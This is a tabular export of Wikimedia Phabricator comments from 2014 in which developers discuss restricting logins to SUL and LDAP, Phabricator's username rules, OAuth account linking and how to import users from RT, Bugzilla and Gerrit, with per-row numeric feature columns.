Can't we mark this as done?",,,1410484859,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7058823529411766,0.8235294117647058,"**mmodell** wrote on CODE

Can't we mark this as done?"
158,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-06-16 17:43:42 (UTC)`

>>! In T40#111, @mattflaschen wrote:
>>>! In T40#109, @csteipp wrote:
>>>>! In T40#108, @Rush wrote:
>>> * how does the auth provider failover work for an account associated to both when one (SUL or LDAP) is down?
>> 
>> Since you click on the authentication mechanism when you get to the login page, if one is down the login flow just wont work.
> 
> I think @Rush was asking about an account with //both// SUL and LDAP associated with a single Phabricator account.  Could it then log in via LDAP when SUL is entirely down?  My guess is yes (and vice versa if only LDAP is down), but it's an important question, and I have no direct evidence (it would be nice to hook LDAP up to Labs to test this, if possible).

I haven't fully tested the exact scenario, but I'm 99% sure the answer is yes. Just based off the way the OAuth auth works.",,,1410484859,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,24.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,4.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1454545454545455,0.6,"**csteipp** wrote on CODE

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I haven't fully tested the exact scenario, but I'm 99% sure the answer is yes. Just based off the way the OAuth auth works."
157,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-06-13 23:53:21 (UTC)`

>>! In T40#109, @csteipp wrote:
>>>! In T40#108, @Rush wrote:
>> * how does the auth provider failover work for an account associated to both when one (SUL or LDAP) is down?
> 
> Since you click on the authentication mechanism when you get to the login page, if one is down the login flow just wont work.

I think @Rush was asking about an account with //both// SUL and LDAP associated with a single Phabricator account.  Could it then log in via LDAP when SUL is entirely down?  My guess is yes (and vice versa if only LDAP is down), but it's an important question, and I have no direct evidence (it would be nice to hook LDAP up to Labs to test this, if possible).
",,,1410484859,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.5,0.0,0.0,4.5,1.0,0.0,0.0,2.0,0.5,0.0,0.0,1.0,0.0,2.5,0.0,6.5,9.0,0.0,2.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,1.0,0.0,5.0,1.0,2.5,0.5,0.0,0.0,0.0,0.5,0.5,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,11.5,2.5,3.5,4.0,0.0,0.0,0.0,0.0,3.5,1.0,0.0,0.0,5.0,9.0,7.0,1.0,0.0,0.0,5.0,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,3.5494117647058823,0.7429411764705882,"**mattflaschen** wrote on CODE

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I thinkSCREEN_NAME was asking about an account with //both// SUL and LDAP associated with a single Phabricator account.  Could it then log in via LDAP when SUL is entirely down?  My guess is yes (and vice versa if only LDAP is down), but it's an important question, and I have no direct evidence (it would be nice to hook LDAP up to Labs to test this, if possible).
"
156,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-06-13 23:47:36 (UTC)`

For context in the below, there are basically two ways existing systems can be imported:

* Just as text.  Users A, B, and C commented on an RT or Bugzilla thread.  The import includes their comments (either in comment 0, or as separate comments written by ""Import script"") and there is plain text that says ""By Bugzilla user C"", but they are not truly attributed in that the C Phabricator account owns the comments
* True user import with proper association (A, B, and C become Phabricator users, the comments are attributed to them in the normal Phabricator way, and they own them).

>>! In T40#104, @csteipp wrote:
> 1) We allow any Phabricator username. That means if you're used to seeing ""CSteipp"" comment about stuff gerrit (or csteipp@wikimedia.org in bugzilla), I may chose ""OMGKitties"" for my phabricator name, and everyone has to get used to that. Any sane linking of gerrit / bugzilla comments to my new identity can't happen automatically.

I don't know that much about LDAP.  But there has to be some kind of link table (mapping LDAP username => Phabricator username) on the Phabricator side.  So, assume we pre-import LDAP accounts as suggested by @csteipp.  That link table will then be fully populated.

Later (this is only relevant to phase 2), if we import existing Gerrit changesets into Phabricator's code review tool (Differential), the import script can consult that link table to map the usernames.  This part is relatively straightforward (other aspects of a Gerrit ->Differential migration, if we did it, would be harder).

Bugzilla is a harder problem. Bugzilla already has its own identity (email), which is neither Wikitech/Gerrit/LDAP nor SUL.  If we wanted to do a Bugzilla import with proper user association, one way is to create a temporary Bugzilla auth backend.  We could then pre-populate users in the same way as LDAP (something would need to be done about merging accounts, though, due to many people having LDAP and Bugzilla), then maybe drop the Bugzilla auth backend afterwards (people could somehow regain access via their email, which would be stored on the Phabricator side).

SUL isn't currently used for anything we're importing //from//, so it's not an issue there.

> 3) We pre-import and pre-link LDAP accounts for day 1. We (during import) control the username, and developers ""claim"" their account by logging in with LDAP. Only issue would be if LDAP usernames don't comply with Phabricator's rules. Does anyone know? (maybe @Rush or @laner knows?)

That seems reasonable, but not essential.  Bear in mind that people don't necessarily use a similar name/email for Bugzilla (and we're actually importing/replacing Bugzilla first), let alone SUL.  And even if we solved all that, it still wouldn't do anything for IRC.

It will all end up being a net win long-term if we can actually import both Bugzilla and Gerrit, since then it's one username for bug tracking and code review by definition, since it's one system.

>>! In T40#108, @Rush wrote:

Your action plan/questions all seem good.

>Hopefully these instances are small and people are smarter than I.  It is my hope that truly abhorrent instances of this kind of thing are few.

I used to be superm401 (SUL and IRC), mflaschen@wikimedia.org (Bugzilla), mflaschen (production), and mattflaschen (Labs/Gerrit).  Now I'm down to three thanks to the Labs/production username consolidation.

So it's not that unusual.

We could consider exposing the SUL  and/or LDAP usernames on the Phabricator user page.  That would make things a little easier.",,,1410484858,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.8571428571428571,0.42857142857142855,0.14285714285714285,1.0,1.1428571428571428,4.428571428571429,1.1428571428571428,0.0,0.14285714285714285,0.7142857142857143,1.4285714285714286,1.0,0.0,0.14285714285714285,0.42857142857142855,1.8571428571428572,0.0,6.0,7.857142857142857,0.42857142857142855,1.0,0.0,0.2857142857142857,0.0,1.0,0.5714285714285714,0.0,0.14285714285714285,0.8571428571428571,1.0,0.2857142857142857,5.142857142857143,0.42857142857142855,1.1428571428571428,1.4285714285714286,0.14285714285714285,0.2857142857142857,0.2857142857142857,0.14285714285714285,0.14285714285714285,0.2857142857142857,0.8571428571428571,0.42857142857142855,2.142857142857143,0.0,0.14285714285714285,0.14285714285714285,0.14285714285714285,0.14285714285714285,11.714285714285714,0.5714285714285714,0.7142857142857143,0.2857142857142857,0.14285714285714285,0.2857142857142857,0.14285714285714285,0.0,0.0,0.8571428571428571,0.0,0.7142857142857143,1.7142857142857142,0.0,0.14285714285714285,0.0,0.14285714285714285,0.0,3.5714285714285716,2.5714285714285716,12.428571428571429,1.4285714285714286,2.857142857142857,5.285714285714286,0.0,0.0,0.0,0.0,3.4285714285714284,0.0,1.0,0.0,4.285714285714286,7.857142857142857,8.285714285714286,0.0,0.5714285714285714,0.0,4.285714285714286,0.0,0.5714285714285714,1.2857142857142858,0.2857142857142857,1.0,0.5714285714285714,0.0,0.14285714285714285,3.8942223240539198,0.7256844999427197,"**mattflaschen** wrote on CODE

For context in the below, there are basically two ways existing systems can be imported:

* Just as text.  Users A, B, and C commented on an RT or Bugzilla thread.  The import includes their comments (either in comment 0, or as separate comments written by ""Import script"") and there is plain text that says ""By Bugzilla user C"", but they are not truly attributed in that the C Phabricator account owns the comments
* True user import with proper association (A, B, and C become Phabricator users, the comments are attributed to them in the normal Phabricator way, and they own them).

QUOTE
QUOTE

I don't know that much about LDAP.  But there has to be some kind of link table (mapping LDAP username => Phabricator username) on the Phabricator side.  So, assume we pre-import LDAP accounts as suggested bySCREEN_NAME.  That link table will then be fully populated.

Later (this is only relevant to phase 2), if we import existing Gerrit changesets into Phabricator's code review tool (Differential), the import script can consult that link table to map the usernames.  This part is relatively straightforward (other aspects of a Gerrit ->Differential migration, if we did it, would be harder).

Bugzilla is a harder problem. Bugzilla already has its own identity (email), which is neither Wikitech/Gerrit/LDAP nor SUL.  If we wanted to do a Bugzilla import with proper user association, one way is to create a temporary Bugzilla auth backend.  We could then pre-populate users in the same way as LDAP (something would need to be done about merging accounts, though, due to many people having LDAP and Bugzilla), then maybe drop the Bugzilla auth backend afterwards (people could somehow regain access via their email, which would be stored on the Phabricator side).

SUL isn't currently used for anything we're importing //from//, so it's not an issue there.

QUOTE

That seems reasonable, but not essential.  Bear in mind that people don't necessarily use a similar name/email for Bugzilla (and we're actually importing/replacing Bugzilla first), let alone SUL.  And even if we solved all that, it still wouldn't do anything for IRC.

It will all end up being a net win long-term if we can actually import both Bugzilla and Gerrit, since then it's one username for bug tracking and code review by definition, since it's one system.

QUOTE

Your action plan/questions all seem good.

QUOTE

I used to be superm401 (SUL and IRC), mflaschen@wikimedia.org (Bugzilla), mflaschen (production), and mattflaschen (Labs/Gerrit).  Now I'm down to three thanks to the Labs/production username consolidation.

So it's not that unusual.

We could consider exposing the SUL  and/or LDAP usernames on the Phabricator user page.  That would make things a little easier."
155,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-06-13 23:10:55 (UTC)`

>>! In T40#108, @Rush wrote:
> * how does the auth provider failover work for an account associated to both when one (SUL or LDAP) is down?

Since you click on the authentication mechanism when you get to the login page, if one is down the login flow just wont work.

As far as I can tell, the external logins are for login only, not authorization. So groups or ideas about rights in other systems aren't exposed to phabricator. So if LDAP is down, all my Phabricator rights still work.

> Above all, let's get SUL in prod and test out what's actually possible.

Just let me know what you need! I have it setup locally, and helped chad setup the labs instance. Ping me on irc if you need help getting it up.",,,1410484858,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1.0,0.0,0.0,1.0,1.5,1.5,1.0,0.0,0.0,2.0,2.0,1.0,0.0,0.5,0.0,3.5,0.0,9.0,9.5,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,1.5,0.5,0.0,1.0,7.0,1.0,1.5,0.5,2.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,1.0,3.0,2.5,9.0,3.0,1.5,3.5,0.0,0.0,1.0,0.0,4.0,0.0,0.5,0.0,8.0,9.5,2.0,0.0,0.0,0.0,8.0,0.0,1.5,0.0,1.5,1.0,0.0,0.0,0.0,3.588709677419355,0.7741935483870968,"**csteipp** wrote on CODE

QUOTE
QUOTE

Since you click on the authentication mechanism when you get to the login page, if one is down the login flow just wont work.

As far as I can tell, the external logins are for login only, not authorization. So groups or ideas about rights in other systems aren't exposed to phabricator. So if LDAP is down, all my Phabricator rights still work.

QUOTE

Just let me know what you need! I have it setup locally, and helped chad setup the labs instance. Ping me on irc if you need help getting it up."
154,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**Rush** wrote on `2014-06-13 21:37:53 (UTC)`

Hopefully I can provide something useful here.  I have come up against a bit of a issue that will somewhat dictate this.  It goes like this: we want to import an rt ticket, it's assigned to a username, and created by a username, and more usernames have commented.  So in order to meaningfully import ticket history (linked to users in the usual phabricator ways) we would have to import entire blocks of users from the ticketing system of origin.  I haven't worked out exactly if / how that's possible.  It may be sanest to do generic metadata for imported tickets, but I think no one will love that, including me.  So once I get time I will explore the possibilities of user mass-import. This also means we need to consider identities outside of SUL since that is where the tickets are being imported from, and that is the context under which the associations will be meaningful.

Some people may have different usernames _currently_ in our systems.  I know it is my folly that I am cpettet in rt and rush elsewhere, and then chasemp in chat.  Why I ever considered this I don't know.  But it means that the above importing gets weird.  Hopefully these instances are small and people are smarter than I.  It is my hope that truly abhorrent instances of this kind of thing are few.

I think having consumed this thread now that there is a lot of good, if not overwhelming, ideas here.  My suggestion is that we have reached the point of rubber-and-road where we need to see what works with phabricator and SUL enabled.  The SUL stuff currently being under review (or at least a stripped down version of it) this seems like we can do some real figuring soon.

An outline I am intending to test once we get there:

1. People will have a Phabricator account.  This account name you can choose at the time of account association with an existing entity.  There is no way around this.  yes, someone could choose to be known as ActuallyPolPot.  That isn't a bug but a feature :)   I think :)

2. Existing authentication providers from the beginning: Wikitech/labs/gerrit LDAP & SUL.  I have confirmed I can hook Phabricator up to the LDAP infrastructure that exists now.  That means your SN registered through wikitech would be an account you can link through LDAP to a Phabricator account.  

I am rush in wikitech ldap.  I create a Rush account in Phabricator, this is done by logging into the ldap auth provider with my existing wikitech credentials.  I can then associate my SUL account in the same way and both are now linked to one username in Phabricator.  At least that is my hope.

3.  Since we are allowing two authentication providers (LDAP and SUL) in the case of one being down the other is available, have to test the extent of this.   My theory is anyone of technical acumen who will be responding to a SUL outage will have an account through wikitech.  If they don't, they should :)

4. I do not intend to allow account registration with the local Phabricator, in that accounts cannot be created from nothing.  They must exist in either LDAP or SUL in order to be associated with a Phabricator username.

The things I do not know are plenty:

* can we associate privs in phabricator to ldap groupings?
* how does the auth provider failover work for an account associated to both when one (SUL or LDAP) is down?

There is a great deal of consolidation that needs to happen.  RT has standalone accounts -- these will no longer be relevant in themselves.  Bugzilla has standalone accounts -- these will no longer be relevant in themselves.  Wikitech/LDAP has accounts -- I do not intend to replace or augment this -- only hook into it.  SUL has accounts -- I do not intend to replace or augment this only hook into it.

The further consolidation of wikitech / SUL / anything else is a big, big discussion.  I think this approach keeps our existing secure registration processes (you have to use two-factor for example to change my LDAP password).  We understand how to add users to wikitech.  We understand how to add users to SUL.  Let's preserve those mechanisms as authoritative for the time being.  

I'm not sure yet how that plays out -- I think some version of csteipp's #3 suggestion is probably necessary.  

Above all, let's get SUL in prod and test out what's actually possible.",,,1410484858,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.5,0.4,0.0,0.7,1.1,4.3,2.2,0.0,0.0,0.3,1.9,0.5,0.0,0.3,0.3,4.7,0.1,5.6,11.7,0.5,1.9,0.2,0.2,0.2,0.2,0.1,0.1,0.4,1.1,1.1,0.1,7.4,1.9,0.9,0.5,0.4,0.1,0.0,0.2,0.8,0.2,0.5,0.5,1.4,0.1,1.0,0.1,0.3,0.2,12.1,1.6,1.2,0.1,0.2,0.1,0.2,0.1,0.6,0.5,0.1,0.4,1.2,0.1,0.4,0.1,0.4,0.3,4.3,3.9,9.6,2.1,2.1,8.0,0.0,0.2,0.0,0.1,5.8,0.1,0.7,0.0,6.8,11.7,4.0,0.2,0.0,0.0,6.8,0.0,1.6,2.1,0.3,1.0,0.2,0.3,0.3,3.856428237494157,0.7127279102384293,"**Rush** wrote on CODE

Hopefully I can provide something useful here.  I have come up against a bit of a issue that will somewhat dictate this.  It goes like this: we want to import an rt ticket, it's assigned to a username, and created by a username, and more usernames have commented.  So in order to meaningfully import ticket history (linked to users in the usual phabricator ways) we would have to import entire blocks of users from the ticketing system of origin.  I haven't worked out exactly if / how that's possible.  It may be sanest to do generic metadata for imported tickets, but I think no one will love that, including me.  So once I get time I will explore the possibilities of user mass-import. This also means we need to consider identities outside of SUL since that is where the tickets are being imported from, and that is the context under which the associations will be meaningful.

Some people may have different usernames _currently_ in our systems.  I know it is my folly that I am cpettet in rt and rush elsewhere, and then chasemp in chat.  Why I ever considered this I don't know.  But it means that the above importing gets weird.  Hopefully these instances are small and people are smarter than I.  It is my hope that truly abhorrent instances of this kind of thing are few.

I think having consumed this thread now that there is a lot of good, if not overwhelming, ideas here.  My suggestion is that we have reached the point of rubber-and-road where we need to see what works with phabricator and SUL enabled.  The SUL stuff currently being under review (or at least a stripped down version of it) this seems like we can do some real figuring soon.

An outline I am intending to test once we get there:

1. People will have a Phabricator account.  This account name you can choose at the time of account association with an existing entity.  There is no way around this.  yes, someone could choose to be known as ActuallyPolPot.  That isn't a bug but a feature :)   I think :)

2. Existing authentication providers from the beginning: Wikitech/labs/gerrit LDAP & SUL.  I have confirmed I can hook Phabricator up to the LDAP infrastructure that exists now.  That means your SN registered through wikitech would be an account you can link through LDAP to a Phabricator account.  

I am rush in wikitech ldap.  I create a Rush account in Phabricator, this is done by logging into the ldap auth provider with my existing wikitech credentials.  I can then associate my SUL account in the same way and both are now linked to one username in Phabricator.  At least that is my hope.

3.  Since we are allowing two authentication providers (LDAP and SUL) in the case of one being down the other is available, have to test the extent of this.   My theory is anyone of technical acumen who will be responding to a SUL outage will have an account through wikitech.  If they don't, they should :)

4. I do not intend to allow account registration with the local Phabricator, in that accounts cannot be created from nothing.  They must exist in either LDAP or SUL in order to be associated with a Phabricator username.

The things I do not know are plenty:

* can we associate privs in phabricator to ldap groupings?
* how does the auth provider failover work for an account associated to both when one (SUL or LDAP) is down?

There is a great deal of consolidation that needs to happen.  RT has standalone accounts -- these will no longer be relevant in themselves.  Bugzilla has standalone accounts -- these will no longer be relevant in themselves.  Wikitech/LDAP has accounts -- I do not intend to replace or augment this -- only hook into it.  SUL has accounts -- I do not intend to replace or augment this only hook into it.

The further consolidation of wikitech / SUL / anything else is a big, big discussion.  I think this approach keeps our existing secure registration processes (you have to use two-factor for example to change my LDAP password).  We understand how to add users to wikitech.  We understand how to add users to SUL.  Let's preserve those mechanisms as authoritative for the time being.  

I'm not sure yet how that plays out -- I think some version of csteipp's #3 suggestion is probably necessary.  

Above all, let's get SUL in prod and test out what's actually possible."
153,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-06-13 21:18:52 (UTC)`

Well, it's not that there are no users of xx.wiki trying to ""get their username"" in yy.wiki because someone else was using the exact username before the SUL merge. I mean, we are not going to get a perfect solution ever. Pre-populating wiith LDAP data + let it flow + assume good faith might be just enough. 

If there is an evident case of abuse (my real name is OMGKitties and csteipp is impersonating me to confuse everybody) then we can always act upon it.",,,1410484857,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,1.5,0.0,0.0,1.0,8.0,1.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,1.5,4.0,1.0,5.0,7.5,1.5,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,5.5,1.5,2.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.5,5.0,5.5,3.0,3.0,3.0,0.0,0.0,0.0,0.0,5.5,0.5,0.5,0.0,6.5,7.5,4.5,0.0,1.0,0.0,6.5,0.0,0.0,1.5,1.0,2.5,0.0,0.0,0.0,3.6759259259259256,0.8425925925925926,"**qgil** wrote on CODE

Well, it's not that there are no users of xx.wiki trying to ""get their username"" in yy.wiki because someone else was using the exact username before the SUL merge. I mean, we are not going to get a perfect solution ever. Pre-populating wiith LDAP data + let it flow + assume good faith might be just enough. 

If there is an evident case of abuse (my real name is OMGKitties and csteipp is impersonating me to confuse everybody) then we can always act upon it."
152,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**laner** wrote on `2014-06-13 21:05:00 (UTC)`

LDAP names are restricted to anything MediaWiki allows, unless you're considering the shell account name, which is much more greatly restricted (alpha-numeric, underscore, and dashes, I think).",,,1410484857,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,2.0,2.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,6.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,9.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0212765957446805,0.8297872340425532,"**laner** wrote on CODE

LDAP names are restricted to anything MediaWiki allows, unless you're considering the shell account name, which is much more greatly restricted (alpha-numeric, underscore, and dashes, I think)."
151,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-06-13 21:02:00 (UTC)`

>>! In T40#103, @mattflaschen wrote:
>>>! In T40#101, @csteipp wrote:
>> Wrench in plans. Phabricator only supports very limited usernames: ""Usernames must contain only numbers, letters, period, underscore and hyphen, and can not end with a period. They must have no more than 64 characters."" Which means a ton of MediaWiki usernames can't be used as the Phabricator username.
> 
> This comes back to the important fact that (as currently configured at least) Phabricator has its own set of usernames, independent of MediaWiki's, even though they can be linked with OAuth.  mmodell [said above](http://fab.wmflabs.org/T40#94) even the LDAP integration works like this (""No, phabricator does not ""actually use LDAP as it's username database"" .... it uses ldap like another oauth provider."")

Correct. As I put on the LDAP discussion (dear phabricator, why is it so hard to find the permalink to a comment I made?), ""As for the conflict, and what takes precedent-- The unique identity in Phabricator is the Phabricator username. Those identities can use other authentication mechanisms (LDAP, OAuth) to sign into those accounts. But that's the username that shows up in comments, commits, etc.""

So yes, the reality we have to deal with is Phabricator will introduce another identity (i.e., username) into our developer eco system. So the discussion is how do we make that as seamless / transparent as possible.

1) We allow any Phabricator username. That means if you're used to seeing ""CSteipp"" comment about stuff gerrit (or csteipp@wikimedia.org in bugzilla), I may chose ""OMGKitties"" for my phabricator name, and everyone has to get used to that. Any sane linking of gerrit / bugzilla comments to my new identity can't happen automatically.

2) (failed) We were going to force you use your WMF/SUL username, but phabricator's rules don't allow us to do that without a major change to Phabricator.

So we kinda back to brainstorming about the best road forward. Let me propose:

3) We pre-import and pre-link LDAP accounts for day 1. We (during import) control the username, and developers ""claim"" their account by logging in with LDAP. Only issue would be if LDAP usernames don't comply with Phabricator's rules. Does anyone know? (maybe @Rush or @laner knows?)

4) We ask really nice that developer use their gerrit, bugzilla, or SUL account name, and rely on policy to enforce naming convention.

5) ???
",,,1410484857,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.5,0.5,0.0,0.0,0.75,4.5,0.5,0.0,0.0,0.5,2.25,1.0,0.0,0.25,0.0,4.0,0.25,3.25,10.75,0.5,1.75,0.0,0.0,0.0,1.25,0.25,0.0,0.0,0.5,0.5,0.0,6.5,1.5,0.25,1.5,0.75,0.0,0.0,0.0,1.5,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.25,0.0,12.0,0.75,1.0,0.25,0.5,0.0,0.0,0.25,0.0,1.0,0.0,0.25,1.0,0.0,0.25,0.0,0.25,0.0,3.0,1.5,11.5,1.25,2.25,5.5,0.0,0.0,0.0,0.0,5.0,0.25,0.5,0.0,5.5,10.75,5.75,1.5,2.0,0.0,5.5,0.0,1.0,0.5,0.5,1.25,0.0,0.25,1.75,3.859046283309958,0.726478494623656,"**csteipp** wrote on CODE

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Correct. As I put on the LDAP discussion (dear phabricator, why is it so hard to find the permalink to a comment I made?), ""As for the conflict, and what takes precedent-- The unique identity in Phabricator is the Phabricator username. Those identities can use other authentication mechanisms (LDAP, OAuth) to sign into those accounts. But that's the username that shows up in comments, commits, etc.""

So yes, the reality we have to deal with is Phabricator will introduce another identity (i.e., username) into our developer eco system. So the discussion is how do we make that as seamless / transparent as possible.

1) We allow any Phabricator username. That means if you're used to seeing ""CSteipp"" comment about stuff gerrit (or csteipp@wikimedia.org in bugzilla), I may chose ""OMGKitties"" for my phabricator name, and everyone has to get used to that. Any sane linking of gerrit / bugzilla comments to my new identity can't happen automatically.

2) (failed) We were going to force you use your WMF/SUL username, but phabricator's rules don't allow us to do that without a major change to Phabricator.

So we kinda back to brainstorming about the best road forward. Let me propose:

3) We pre-import and pre-link LDAP accounts for day 1. We (during import) control the username, and developers ""claim"" their account by logging in with LDAP. Only issue would be if LDAP usernames don't comply with Phabricator's rules. Does anyone know? (maybeSCREEN_NAME orSCREEN_NAME knows?)

4) We ask really nice that developer use their gerrit, bugzilla, or SUL account name, and rely on policy to enforce naming convention.

5) ???
"
150,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-06-13 03:54:56 (UTC)`

>>! In T40#101, @csteipp wrote:
> Wrench in plans. Phabricator only supports very limited usernames: ""Usernames must contain only numbers, letters, period, underscore and hyphen, and can not end with a period. They must have no more than 64 characters."" Which means a ton of MediaWiki usernames can't be used as the Phabricator username.

This comes back to the important fact that (as currently configured at least) Phabricator has its own set of usernames, independent of MediaWiki's, even though they can be linked with OAuth.  mmodell [said above](http://fab.wmflabs.org/T40#94) even the LDAP integration works like this (""No, phabricator does not ""actually use LDAP as it's username database"" .... it uses ldap like another oauth provider."")

I created the MediaWiki.org user PhabricatorTest&*^%. (yes, the period is part of the username).  When I signed up using the OAuth flow, Phabricator prompted me (via a pre-fill) to use that username at first, but then said it was not valid for Phabricator (I forget if it was immediate, or required a submit).

I had the complete choice of which Phabricator username to use.  I went with PhabricatorTest_____; however, it's still fully linked to the MediaWiki.org account with a different name (the screenshot below shows the linkage, but unfortunately not the Phabricator username).

{F8129}",,,1410484856,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.3333333333333333,0.3333333333333333,1.0,4.333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,7.0,8.333333333333334,0.0,0.6666666666666666,0.0,0.0,0.0,4.666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,3.6666666666666665,1.0,2.3333333333333335,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,10.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,5.666666666666667,1.3333333333333333,9.666666666666666,1.3333333333333333,1.3333333333333333,7.333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.0,5.0,8.333333333333334,4.666666666666667,0.0,1.3333333333333333,0.0,5.0,0.0,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,3.954337899543379,0.7579908675799086,"**mattflaschen** wrote on CODE

QUOTE
QUOTE

This comes back to the important fact that (as currently configured at least) Phabricator has its own set of usernames, independent of MediaWiki's, even though they can be linked with OAuth.  mmodell [said above](URL even the LDAP integration works like this (""No, phabricator does not ""actually use LDAP as it's username database"" .... it uses ldap like another oauth provider."")

I created the MediaWiki.org user PhabricatorTest&*^%. (yes, the period is part of the username).  When I signed up using the OAuth flow, Phabricator prompted me (via a pre-fill) to use that username at first, but then said it was not valid for Phabricator (I forget if it was immediate, or required a submit).

